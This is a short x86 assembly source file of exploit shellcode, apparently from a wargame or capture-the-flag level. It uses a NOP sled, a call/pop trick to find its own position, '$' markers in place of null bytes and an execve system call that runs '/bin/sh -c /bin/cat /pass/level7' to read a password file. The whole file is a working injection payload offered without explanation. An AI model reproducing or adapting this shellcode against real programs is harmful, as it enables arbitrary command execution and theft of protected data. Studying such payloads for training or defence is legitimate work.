	.text
	.global _start
_start:
	nop
	nop
	nop
	nop
	nop
	nop
	nop
	jmp start_pos
get_eip:
	movl (%esp), %eax
	ret
start_pos:
	call get_eip
ret_pos:
	sub $ret_pos, %eax
	add $data_pos, %eax
	
	/* copy str from *%eax to %esp while
	changing '$' in the strings to '\0' */
	mov %esp, %ebx
	mov $data_end - data_pos, %cl
strcpy_loop:
	mov (%eax), %dl
	cmp $'$', %dl
	jne no_chg
	xor %dx, %dx
no_chg:
	mov %dl, (%ebx)
	inc %eax
	inc %ebx
	loop strcpy_loop

	xor %edx, %edx
	/* a2 = envp = NULL */
	mov %edx, -4(%esp)


	mov %esp, %ebx
	/* a0 = (char *) pathname */

	mov %esp, %ecx
	mov %ecx, -16(%esp)
	sub $data_pos, %ecx
	add $arg_1, %ecx
	mov %ecx, -12(%esp)
	sub $arg_1, %ecx
	add $arg_2, %ecx
	mov %ecx, -8(%esp)
	lea -16(%esp), %ecx
	/* a1 = (char **) argv */

	xor %eax, %eax
	mov $0xb, %al	/* sys_execve */
	int $0x80
data_pos:
	.ascii "/bin/sh$"
arg_1:
	.ascii "-c$"
arg_2:
	.ascii "/bin/cat /pass/level7$"
data_end:
